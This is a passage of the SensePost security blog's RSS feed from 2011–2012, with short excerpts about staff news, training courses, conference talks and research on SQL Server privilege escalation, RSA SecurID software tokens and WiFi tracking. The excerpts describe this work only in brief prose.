Gathered).&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost People News</title>
				<link>https://sensepost.com/blog/2012/sensepost-people-news/</link>
				<pubDate>Thu, 04 Oct 2012 08:35:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/sensepost-people-news/</guid>
				<description>&lt;p&gt;&#xA;&lt;p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-people-news/a922a783d2fb39681cd6d0b1b060aded.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;239&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/sensepost-people-news/c7211a74dc6e667f6d2393d326f0d6be.png&#34; title=&#34;ppl&#34; width=&#34;830&#34; /&gt;&lt;/a&gt;We&amp;#8217;re extremely proud to announce today the promotion of a number of  key people here at SensePost.&lt;/p&gt;&#xA;&lt;p&gt;Shane Kemp, Daniel Cuthbert and Dominic White will be promoted to Global Sales Manager, Chief Operations Officer and Chief Technology Officer respectivley and will join SensePost&amp;#8217;s senior leadership structures, effective 01 October 2012.&lt;/p&gt;&#xA;&lt;p&gt;The three new c-levels, along with a number of other emergent leaders, will be commencing a training and development program spanning a number of months as they gradually assume their new responsibilities.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Snoopy: A distributed tracking and profiling framework</title>
				<link>https://sensepost.com/blog/2012/snoopy-a-distributed-tracking-and-profiling-framework/</link>
				<pubDate>Tue, 25 Sep 2012 08:01:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/snoopy-a-distributed-tracking-and-profiling-framework/</guid>
				<description>&lt;p&gt;At this year&amp;#8217;s &lt;a href=&#34;http://44con.com/&#34;&gt;44Con&lt;/a&gt; conference (held in London) Daniel and I &lt;a href=&#34;http://44con.com/presentation/terrorism-tracking-privacy-and-human-interactions/&#34;&gt;introduced&lt;/a&gt; a project we had been working on for the past few months. Snoopy, a distributed tracking and profiling framework, allowed us to perform some pretty interesting tracking and profiling of mobile users through the use of WiFi. The talk was well received (going on what people said afterwards) by those attending the conference and it was great to see so many others as excited about this as we have been.&lt;/p&gt;</description>
			</item>
			<item>
				<title>44Con: Vulnerability analysis of the .NET smart Card Operating System</title>
				<link>https://sensepost.com/blog/2012/44con-vulnerability-analysis-of-the-.net-smart-card-operating-system/</link>
				<pubDate>Mon, 10 Sep 2012 14:21:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/44con-vulnerability-analysis-of-the-.net-smart-card-operating-system/</guid>
				<description>&lt;p&gt;Today&amp;#8217;s smart cards such as banking cards and smart corporate badges are capable of running multiple tiny applications which are often written in high level programming languages like  Java or Microsoft .NET and compiled into small card resident binaries. It is a critical security requirement to isolate the execution context and data storage of these applications in order to protect them from unauthorized access by other malicious card applications. To satisfy this requirement, multi-application smart cards implement an “Application Firewall” concept in their  operating system which creates an execution sandbox for card applications.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Solution for the 44Con Challenge</title>
				<link>https://sensepost.com/blog/2012/solution-for-the-44con-challenge/</link>
				<pubDate>Mon, 03 Sep 2012 05:54:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/solution-for-the-44con-challenge/</guid>
				<description>&lt;p&gt;Last week, we published our &lt;a href=&#34;https://sensepost.com/blog/7490.html&#34;&gt;44Con &amp;#8220;SillySIP&amp;#8221; Challenge&lt;/a&gt; for free entry to our BlackOps training course at the 44Con conference this year. We&amp;#8217;d like to thank all those who attempted this challenge.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;$queue-&gt;add($beatbox_drumroll);&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The winner, who responded with the first correct answer, is &lt;a href=&#34;http://rewtdance.blogspot.com/&#34;&gt;Ben Campbell&lt;/a&gt;. As a result, he gets to hang out with our trainers on a free BlackOps training course.&lt;/p&gt;&#xA;&lt;p&gt;Congratulations Ben! We look forward to meeting you (in person) at the BlackOps training.&lt;/p&gt;</description>
			</item>
			<item>
				<title>44Con Challenge</title>
				<link>https://sensepost.com/blog/2012/44con-challenge/</link>
				<pubDate>Fri, 24 Aug 2012 07:12:47 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/44con-challenge/</guid>
				<description>&lt;p&gt;In a similar fashion to the &lt;a href=&#34;http://sensepost.com/blog/7103.html&#34; target=&#34;_blank&#34; title=&#34;BlackHat Challenge 2012&#34;&gt;BlackHat challenge&lt;/a&gt; held earlier this year, we&amp;#8217;re giving away a free ticket to our &lt;a href=&#34;http://44con.com/training/sensepost-hacking-by-numbers-blackops/&#34; target=&#34;_blank&#34; title=&#34;HBN BlackOps at 44Con&#34;&gt;BlackOps course&lt;/a&gt; at this year&amp;#8217;s &lt;a href=&#34;http://44con.com/&#34; target=&#34;_blank&#34; title=&#34;44Con&#34;&gt;44Con&lt;/a&gt;. As a penetration tester, knowledge of an issue is not enough when one needs to demonstrate risk to a client. Furthermore, when large numbers of potential targets are involved, it becomes crucial that effective attacks are packaged and automated to allow for mass-pwnage.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Privilege Escalation in SQL Server (Depending on some dodgy requirements)</title>
				<link>https://sensepost.com/blog/2012/privilege-escalation-in-sql-server-depending-on-some-dodgy-requirements/</link>
				<pubDate>Wed, 08 Aug 2012 12:01:12 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/privilege-escalation-in-sql-server-depending-on-some-dodgy-requirements/</guid>
				<description>&lt;p&gt;I was playing with a few SQL server idiosyncrasies more than a year ago before becoming so completely distracted with the whole SAP protocol-decoding business.  Having some time on my hands for once, I thought I would blog it.&lt;/p&gt;&#xA;&lt;p&gt;Early last year, I found it possible to create jobs owned by other users on MS SQL Server (2000, 2005 and 2008) by an unprivileged user &amp;#8211; providing the user had the capability of creating or altering stored procedures in the [master].[dbo] schema.  The reason for this, comes as a result of cross-database permissions being chained, by default, across the system databases [master], [msdb] and [tempdb].  According to Microsoft, this is by design.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackOps – Post Exploitation Fun and Games</title>
				<link>https://sensepost.com/blog/2012/blackops-post-exploitation-fun-and-games/</link>
				<pubDate>Wed, 01 Aug 2012 15:25:06 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/blackops-post-exploitation-fun-and-games/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/blackops-post-exploitation-fun-and-games/0b778161170182df35ea6738e340bbda.jpeg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;180&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/blackops-post-exploitation-fun-and-games/0b778161170182df35ea6738e340bbda.jpeg&#34; title=&#34;goodluck&#34; width=&#34;273&#34; /&gt;&lt;/a&gt;Brilliant, the client has decided to implement their own CMS and you’ve found a variable that’s vulnerable to SQL injection. Starting up your favourite SQL exploitation tool, you upload a suitable web shell and fire up the browser. In an instant, you control that server, but do you &lt;strong&gt;&lt;em&gt;really&lt;/em&gt;&lt;/strong&gt; own the box?&lt;/p&gt;&#xA;&lt;p&gt;Looking back at the major hacks of the last 18 months, attackers used a variety of techniques to obtain sensitive information. For the RSA &lt;a href=&#34;http://www.schneier.com/blog/archives/2011/08/details_of_the.html&#34;&gt;hack&lt;/a&gt;, social engineering was used, allegedly consisting of a malicious Excel spreadsheet sent from a web master at a recruitment website. Once loaded, Poison Ivy was dropped on the host and the games began. Attackers started recon exercises, pivoting between hosts and finally exfiltrated the data (the rest is well-known and publicised). In the case of &lt;a href=&#34;http://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/3/&#34;&gt;HBGary&lt;/a&gt;, attackers compromised their systems using a similar approach as the RSA attackers did: target an individual using social engineering using an earlier toehold to expand to a foothold. These types of attackers might have a fancy new name (Advanced Persistent Threats) but at the end of the day, they are using techniques that have been around for a while.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Black Hat Training Classes Update</title>
				<link>https://sensepost.com/blog/2012/black-hat-training-classes-update/</link>
				<pubDate>Fri, 13 Jul 2012 09:38:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/black-hat-training-classes-update/</guid>
				<description>&lt;p&gt;&lt;img alt=&#34;&#34;  height=&#34;118&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/black-hat-training-classes-update/cbde4da9514c72b6ce22f2f603b1206e.png&#34; title=&#34;bh-usa-2012&#34; width=&#34;299&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey All,&lt;/p&gt;&#xA;&lt;p&gt;We&amp;#8217;re about locked and loaded down here in ZA &amp;#8211; ready to tackle the looooong journey to &lt;a href=&#34;http://www.blackhat.com/html/bh-us-12/&#34;&gt;Vegas for Black Hat&lt;/a&gt;. If you&amp;#8217;re headed to Black Hat but haven&amp;#8217;t yet booked training there&amp;#8217;s still time, so I thought I&amp;#8217;d push out a brief update on what&amp;#8217;s still available from &lt;a href=&#34;http://www.sensepost.com/services/training&#34;&gt;our stable of courses&lt;/a&gt;. As many of our courses have sold out we opened second classrooms and as a result have plenty of space to accommodate late comers!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Solution for the BlackHat Challenge</title>
				<link>https://sensepost.com/blog/2012/solution-for-the-blackhat-challenge/</link>
				<pubDate>Fri, 22 Jun 2012 09:35:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/solution-for-the-blackhat-challenge/</guid>
				<description>&lt;p&gt;We had published a &lt;a href=&#34;http://sensepost.com/blog/7103.html&#34;&gt;network protocol analysis challenge&lt;/a&gt; for free entry to our BlackHat 2012 Vegas training courses and received seven correct answers. We&amp;#8217;d like to thank those who attempted this challenge and hope that they find it useful.&lt;/p&gt;&#xA;&lt;p&gt;The winner, &lt;a href=&#34;https://twitter.com/#!/@p4fg&#34;&gt;Peter Af Geijerstam&lt;/a&gt; managed to respond first, with the correct answer. As a result, he wins a free place on any of our Hacking By Numbers courses. Here is a brief solution for it:&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat Challenge</title>
				<link>https://sensepost.com/blog/2012/blackhat-challenge/</link>
				<pubDate>Thu, 14 Jun 2012 08:41:15 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/blackhat-challenge/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2012/blackhat-challenge/388e73d06aa6b1e35bdc1a83df7772f2.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;150&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2012/blackhat-challenge/3dc8c4d102661be21d151aef4ceede21.jpg&#34; title=&#34;Sensepost-Blackhat-shirt&#34; width=&#34;150&#34; /&gt;&lt;/a&gt;This year marks a special anniversary for us at SensePost in that we&amp;#8217;ve been training at BlackHat for over a decade now. To celebrate this, we thought we&amp;#8217;d give away a free ticket to any of our &lt;a href=&#34;http://blackhat.com/html/bh-us-12/training/bh-us-12-training_complete.html&#34;&gt;courses&lt;/a&gt; on offer at this year&amp;#8217;s &lt;a href=&#34;http://blackhat.com/html/bh-us-12/&#34;&gt;BlackHat Briefings in Las Vegas&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;With data breaches happening almost on a monthly basis these days, everyone is turning to encryption in order to protect their information. Bob, a rather tech-savvy gentleman, works for a FTSE 100 company and they&amp;#8217;ve written their own secure message implementation. You&amp;#8217;ve been tasked to perform a penetration test and noticed that after compromising their shared document server, an internal web application leaked the source code used by the company for the client and the server.&lt;/p&gt;</description>
			</item>
			<item>
				<title>RSA SecureID software token update</title>
				<link>https://sensepost.com/blog/2012/rsa-secureid-software-token-update/</link>
				<pubDate>Thu, 24 May 2012 08:56:44 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/rsa-secureid-software-token-update/</guid>
				<description>&lt;p&gt;There has been a healthy reaction to our initial &lt;a href=&#34;http://sensepost.com/blog/7045.html&#34;&gt;post&lt;/a&gt; on our research into the RSA SecureID Software Token. A number of readers had questions about certain aspects of the research, and I thought I&amp;#8217;d clear up a number of concerns that people have.&lt;/p&gt;&#xA;&lt;p&gt;The research pointed out two findings; the first of which is in fact a design vulnerability in RSA software&amp;#8217;s &amp;#8220;Token Binding&amp;#8221; mechanism. The second finding is another design issue that affects not only RSA software token but also any other software, which generates pseudo-random numbers from a &amp;#8220;secret seed&amp;#8221; running on traditional computing devices such as laptops, tablets or mobile phones.  The correct way of performing this has been approached with hardware tokens, which are often tamper-resistant.&lt;/p&gt;</description>
			</item>
			<item>
				<title>A closer look into the RSA SecureID software token</title>
				<link>https://sensepost.com/blog/2012/a-closer-look-into-the-rsa-secureid-software-token/</link>
				<pubDate>Thu, 17 May 2012 10:38:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/a-closer-look-into-the-rsa-secureid-software-token/</guid>
				<description>&lt;p&gt;Widespread use of smart phones by employees to perform work related activities has introduced the idea of using these devices as an authentication token. As an example of such attempts, RSA SecureID software tokens are available for iPhone, Nokia and the Windows platforms. Obviously, mobile phones would not be able to provide the level of tamper-resistance that hardware tokens would, but I was interested to know how easy/hard it could be for a potential attacker to clone RSA SecureID software tokens. I used the Windows version of the RSA SecurID Software Token for Microsoft Windows version 4.10 for my analysis and discovered the following issues:&lt;/p&gt;</description>
			</item>
			<item>
				<title>CREST South Africa? Let’s talk…</title>
				<link>https://sensepost.com/blog/2012/crest-south-africa-lets-talk/</link>
				<pubDate>Wed, 09 May 2012 15:59:22 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/crest-south-africa-lets-talk/</guid>
				<description>&lt;p&gt;First, some background on CREST in the form of  blatant plagiarism&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;http://www.crest-approved.org&#34;&gt;CREST&lt;/a&gt; – The Council for Registered Ethical Security Testers &amp;#8211; exists to serve the needs of a global information security marketplace that increasingly requires the services of a regulated and professional security testing capability.  They provide globally recognised, up to date certifications for organisations and individuals providing penetration testing services.&lt;/p&gt;&#xA;&lt;p&gt;For &lt;em&gt;organisations&lt;/em&gt;, CREST provides a provable validation of security testing methodologies and practices, aiding with client engagement and procurement processes, and proving that your company is committed to providing testing services to the highest standard.&lt;/p&gt;</description>
			</item>
			<item>
				<title>ITWeb Security Summit 2012</title>
				<link>https://sensepost.com/blog/2012/itweb-security-summit-2012/</link>
				<pubDate>Tue, 08 May 2012 14:05:34 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/itweb-security-summit-2012/</guid>
				<description>&lt;p&gt;This year, for the fourth time, myself and some others here at SensePost have worked together with the team from &lt;a href=&#34;http://www.itweb.co.za/&#34;&gt;ITWeb&lt;/a&gt; in the planning of their annual &lt;a href=&#34;http://www.securitysummit.co.za&#34;&gt;Security Summit&lt;/a&gt;. A commercial conference is always (I suspect) a delicate balance between the different drivers from business, technology and &amp;#8216;industry&amp;#8217;, but this year&amp;#8217;s event is definitely our best effort thus far. ITWeb has more than ever acknowledged the centrality of good, objective content and has worked closely with us as the &lt;a href=&#34;http://www.itweb.co.za/index.php?option=com_content&amp;amp;view=article&amp;amp;id=48589&amp;amp;Itemid=2506&#34;&gt;Technical Committee&lt;/a&gt; and their various &lt;a href=&#34;http://www.itweb.co.za/index.php?option=com_content&amp;amp;view=article&amp;amp;id=48599&amp;amp;Itemid=2506&#34;&gt;sponsors&lt;/a&gt; to strike the optimal balance. I don&amp;#8217;t think we have it 100% right yet, and there are some improvements and initiatives that will unfortunately only manifest at next year&amp;#8217;s event, but this year&amp;#8217;s program (&lt;a href=&#34;http://www.itweb.co.za/index.php?option=com_content&amp;amp;view=article&amp;amp;id=48442&amp;amp;Itemid=2506&#34;&gt;here&lt;/a&gt; and &lt;a href=&#34;http://www.itweb.co.za/index.php?option=com_content&amp;amp;view=article&amp;amp;id=51895&amp;amp;Itemid=2506&#34;&gt;here&lt;/a&gt;) is nevertheless first class and comparable with almost anything else I&amp;#8217;ve seen.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Pentesting in the spotlight – a view</title>
				<link>https://sensepost.com/blog/2012/pentesting-in-the-spotlight-a-view/</link>
				<pubDate>Mon, 07 May 2012 13:11:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/pentesting-in-the-spotlight-a-view/</guid>
				<description>&lt;p&gt;As &lt;a href=&#34;http://44con.com&#34;&gt;44Con&lt;/a&gt; 2012 starts to gain momentum (we&amp;#8217;ll be &lt;a href=&#34;http://44con.com/presentation/terrorism-tracking-privacy-and-human-interactions/&#34;&gt;there&lt;/a&gt; again this time around) I was perusing some of the talks from last year&amp;#8217;s event&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;It was a great event with some great presentations, including (if I may say) our own Ian deVilliers&amp;#8217; *&lt;a href=&#34;http://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=sensepost%2044con%20sap&amp;amp;source=web&amp;amp;cd=1&amp;amp;ved=0CGcQtwIwAA&amp;amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DvfyKgs8O8q0&amp;amp;ei=37enT6HPBI2V8gOO4rjMBA&amp;amp;usg=AFQjCNFj-hL0lNR-Rc4GHuwhDi7LD4KkmQ&#34;&gt;Security Application Proxy Pwnage&lt;/a&gt;*.  Another presentation that caught my attention was Haroon Meer&amp;#8217;s *&lt;a href=&#34;http://www.youtube.com/watch?v=GvX52HPAfBk&#34;&gt;Penetration Testing considered harmful today&lt;/a&gt;*. In this presentation Haroon outlines concerns he has with Penetration Testing and suggests some changes that could be made to the way we test in order to improve the results we get. As you may know a core part of SensePost&amp;#8217;s business, and my career for almost 13 years, has been security testing, and so I followed this talk quite closely. The raises some interesting ideas and I felt I&amp;#8217;d like to comment on some of the points he was making.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Pfortner calls on SensePost expertise to validate their security posture</title>
				<link>https://sensepost.com/blog/2012/pfortner-calls-on-sensepost-expertise-to-validate-their-security-posture/</link>
				<pubDate>Thu, 26 Apr 2012 06:46:36 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/pfortner-calls-on-sensepost-expertise-to-validate-their-security-posture/</guid>
				<description>&lt;p&gt;Pretoria South Africa &amp;#8212; SensePost, a leader in penetration testing and information security services, announced today that Pfortner had called on their expertise to validate their encryption services in South Africa. With the financial services sector in South Africa being deeply competitive, Pfortner needed to provide a high-level of assurance for their clients as to the security of their encryption service. As a standard requirement Pfortner clients have to be totally confident in the security of their service before any further engagement.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Foot printing – Finding your target…</title>
				<link>https://sensepost.com/blog/2012/foot-printing-finding-your-target/</link>
				<pubDate>Thu, 08 Mar 2012 15:45:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/foot-printing-finding-your-target/</guid>
				<description>&lt;p&gt;We were asked to contribute an article to&lt;a href=&#34;http://pentestmag.com/pentestextra02_2012/&#34;&gt; PenTest magazine&lt;/a&gt;, and chose to write up an introductory how-to on footprinting. We&amp;#8217;ve republished it here for those interested.&lt;/p&gt;&#xA;&lt;p&gt;Network foot printing is, perhaps, the first active step in the reconnaissance phase of an external network security engagement. This phase is often highly automated with little human interaction as the techniques appear, at first glance, to be easily applied in a general fashion across a broad range of targets. As a security analyst, footprinting is also one of the most enjoyable parts of my job as I attempt to outperform the automatons; it is all about finding that one target that everybody forgot about or did not even know they had, that one old IIS 5 webserver that is not used, but not powered off.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mobile Security – Observations from the developing world</title>
				<link>https://sensepost.com/blog/2012/mobile-security-observations-from-the-developing-world/</link>
				<pubDate>Tue, 06 Mar 2012 16:31:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/mobile-security-observations-from-the-developing-world/</guid>
				<description>&lt;blockquote&gt;&lt;p&gt;By the year 2015 sub-Saharan Africa will have more people with mobile network access than with access to electricity at home.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;This remarkable fact from a &lt;a href=&#34;http://www.mobilemonday.net/reports/MobileAfrica_2011.pdf&#34;&gt;2011 MobileMonday report&lt;/a&gt; came to mind again as I read &lt;a href=&#34;http://www.bbc.co.uk/news/business-17115946&#34;&gt;an article&lt;/a&gt; just yesterday about the introduction of Mobile Money in the UK: By the start of next year, every bank customer in the country may have the ability to transfer cash between bank accounts, using an app on their mobile phone.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hacking By Numbers – March 2012</title>
				<link>https://sensepost.com/blog/2012/hacking-by-numbers-march-2012/</link>
				<pubDate>Wed, 22 Feb 2012 08:06:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2012/hacking-by-numbers-march-2012/</guid>
				<description>&lt;p&gt;Our next locally scheduled training sessions have been planned for March. If you&amp;#8217;re interested in attending, the dates and locations are:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;1) HBN &lt;a href=&#34;http://www.sensepost.com/services/training/extended&#34;&gt;Extended&lt;/a&gt; (Cadet Camp; Bootcamp) 6-9th March&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The HBN &amp;#8216;&lt;em&gt;Extended Edition&lt;/em&gt;&amp;#8216; is simply an intensive extended version of the regular Bootcamp course. Whilst the content and structure are essentially the same as Bootcamp, the Extended Edition offers students a deeper understanding of the concepts being presented and affords them more time to practice the techniques being taught. Extended Edition is currently offered in Switzerland and South Africa only, or can be arranged on request.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Press Release – London Hacking &amp; Security Courses</title>
				<link>https://sensepost.com/blog/2011/press-release-london-hacking-security-courses/</link>
				<pubDate>Tue, 13 Dec 2011 14:15:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/press-release-london-hacking-security-courses/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2011/press-release-london-hacking-security-courses/69e53393b6a53bd32b57c85906f40c12.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;248&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2011/press-release-london-hacking-security-courses/69e53393b6a53bd32b57c85906f40c12.jpg&#34; title=&#34;Great_Britain&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;a href=&#34;http://www.sensepost.com/uktraining&#34;&gt;School’s never out for the Pro&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;#8217;re proud to announce that we are now offering our highly successful penetration testing training courses to the UK market from 2012.&lt;/p&gt;&#xA;&lt;p&gt;SensePost has been providing penetration testing training courses&lt;strong&gt; &lt;/strong&gt;to corporates and governments across the globe, and at prestige security events such as Black Hat and OWASP for over a decade. Initially, three courses in London for 2012 have been organised:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://www.sensepost.com/uktraining/extended&#34;&gt;HBN      Extended Edition&lt;/a&gt; (4 days) – 13-17, February 2012&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://www.sensepost.com/uktraining/w3&#34;&gt;HBN      W^3 Edition&lt;/a&gt; (3 days) – 14-16 March 2012&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://www.sensepost.com/uktraining/unplugged&#34;&gt;HBN      Unplugged&lt;/a&gt; (2 days) – 18-19 April 2012&lt;/li&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The first course, HBN Extended Edition is set at an introductory level for technical people without experience in the world of hacking or penetration testing. It presents attendees with the background information, technical skill and basic concepts that are required to get started in this field.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Competition winner announced</title>
				<link>https://sensepost.com/blog/2011/competition-winner-announced/</link>
				<pubDate>Tue, 06 Dec 2011 22:42:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/competition-winner-announced/</guid>
				<description>&lt;p&gt;On Saturday Dec 3, at &lt;a href=&#34;http://bsidescapetown.i-sec.co.za/&#34;&gt;BSides Cape Town&lt;/a&gt; we announced the winner of a &lt;a href=&#34;http://www.sensepost.com/blog/6507.html&#34;&gt;prize&lt;/a&gt; for local information security research. The purpose of the competition was twofold. Firstly, to highlight interesting research produced in .za for the purpose of publicising up &amp;#8216;n coming security folks, since there are a few disparate communities (academic / industry is the greatest split). Secondly, to provide some degree of reward in the form of a cash prize. The prize is (unsurprisingly) not meant to compensate for time spent, but rather to give the typical researcher who conducts the work in their spare time some recognition and perhaps a cool gadget to associate with the work.&lt;/p&gt;</description>
			</item>
			<item>
				<title>R5000 ZA research prize to be presented at B-Sides Cape Town, nominations sought</title>
				<link>https://sensepost.com/blog/2011/r5000-za-research-prize-to-be-presented-at-b-sides-cape-town-nominations-sought/</link>
				<pubDate>Mon, 21 Nov 2011 00:45:58 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/r5000-za-research-prize-to-be-presented-at-b-sides-cape-town-nominations-sought/</guid>
				<description>&lt;p&gt;SensePost is proud to announce a competition to identify the best information security research published by a resident of South Africa in 2011 (Jan 1st to Dec 3rd). Much security research is unfunded and private but, when published, enters the toolsets and minds of security companies worldwide. South Africa&amp;#8217;s security industry is best-described as &amp;#8220;fledgling&amp;#8221;, and we want to support researchers who produce quality research.&lt;/p&gt;&#xA;&lt;p&gt;Heads up: even if you&amp;#8217;re not a researcher, you can still win by nominating work, so continue reading.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mobile Security Summit 2011</title>
				<link>https://sensepost.com/blog/2011/mobile-security-summit-2011/</link>
				<pubDate>Tue, 01 Nov 2011 11:06:51 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/mobile-security-summit-2011/</guid>
				<description>&lt;p&gt;This week, Charl van der Walt and I (Saurabh) spoke at Mobile Security Summit organized by IIR (&lt;a href=&#34;http://www.iir.co.za/detail.php?e=2389&#34; target=&#34;_blank&#34;&gt;http://www.iir.co.za/detail.php?e=2389&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Charl was the keynote speaker and presented his insight on the impact of the adoption of mobile devices throughout Africa and the subsequent rise of security related risks. During his talk, he addressed the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Understanding the need for mobile security to be taken seriously in Africa&lt;/li&gt;&#xA;&lt;li&gt;Analysing the broader implications for the user and the company&lt;/li&gt;&#xA;&lt;li&gt;The types of attacks occurring against mobile devices&lt;/li&gt;&#xA;&lt;li&gt;What does the future of mobile security look like and what are the potential threats to users?&lt;/li&gt;&#xA;&lt;li&gt;Understanding the particular threats posed by smartphones and other portable devices, e.g. tablets&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The presentation can be accessed via link below:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Squinting at Security Drivers and Perspective-based Biases</title>
				<link>https://sensepost.com/blog/2011/squinting-at-security-drivers-and-perspective-based-biases/</link>
				<pubDate>Fri, 28 Oct 2011 10:01:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/squinting-at-security-drivers-and-perspective-based-biases/</guid>
				<description>&lt;p&gt;While doing some thinking on threat modelling I started examining what the usual drivers of security spend and controls are in an organisation. I&amp;#8217;ve spent some time on multiple fronts, security management (been audited, had CIOs push for priorities), security auditing (followed workpapers and audit plans), pentesting (broke in however we could) and security consulting (tried to help people fix stuff) and even dabbled with trying to sell some security hardware. This has given me some insight (or at least an opinion) into how people have tried to justify security budgets, changes, and findings or how I tried to. This is a write up of what I believe these to be (caveat: this is my opinion). This is certainly not universalisable, i.e. it&amp;#8217;s possible to find unbiased highly experienced people, but they will still have to fight the tendencies their position puts on them. What I’d want you to take away from this is that we need to move away from using these drivers in isolation, and towards more holistic risk management techniques, of which I feel threat modelling is one (although this entry isn&amp;#8217;t about threat modelling).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Metricon 2011 Summary</title>
				<link>https://sensepost.com/blog/2011/metricon-2011-summary/</link>
				<pubDate>Fri, 28 Oct 2011 09:35:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/metricon-2011-summary/</guid>
				<description>&lt;p&gt;[I originally wrote this blog entry on the plane returning from BlackHat, Defcon &amp;amp; Metricon, but forgot to publish it. I think the content is still interesting, so, sorry for the late entry :)]&lt;/p&gt;&#xA;&lt;p&gt;I&amp;#8217;ve just returned after a 31hr transit from our annual US trip. Vegas, training, Blackhat &amp;amp; Defcon were great, it was good to see friends we only get to see a few times a year, and make new ones. But on the same trip, the event I most enjoyed was Metricon. It&amp;#8217;s a workshop held at the Usenix security conference in San Francisco, run by a group of volunteers from the &lt;a href=&#34;http://www.securitymetrics.org/content/Wiki.jsp?page=MailingList&#34;&gt;security metrics mailing list&lt;/a&gt; and originally sparked by &lt;a href=&#34;http://www.amazon.com/Security-Metrics-Replacing-Uncertainty-Doubt/dp/0321349989&#34;&gt;Andrew Jacquith&amp;#8217;s seminal book Security Metrics&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Decrypting iPhone Apps</title>
				<link>https://sensepost.com/blog/2011/decrypting-iphone-apps/</link>
				<pubDate>Mon, 24 Oct 2011 13:56:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2011/decrypting-iphone-apps/</guid>
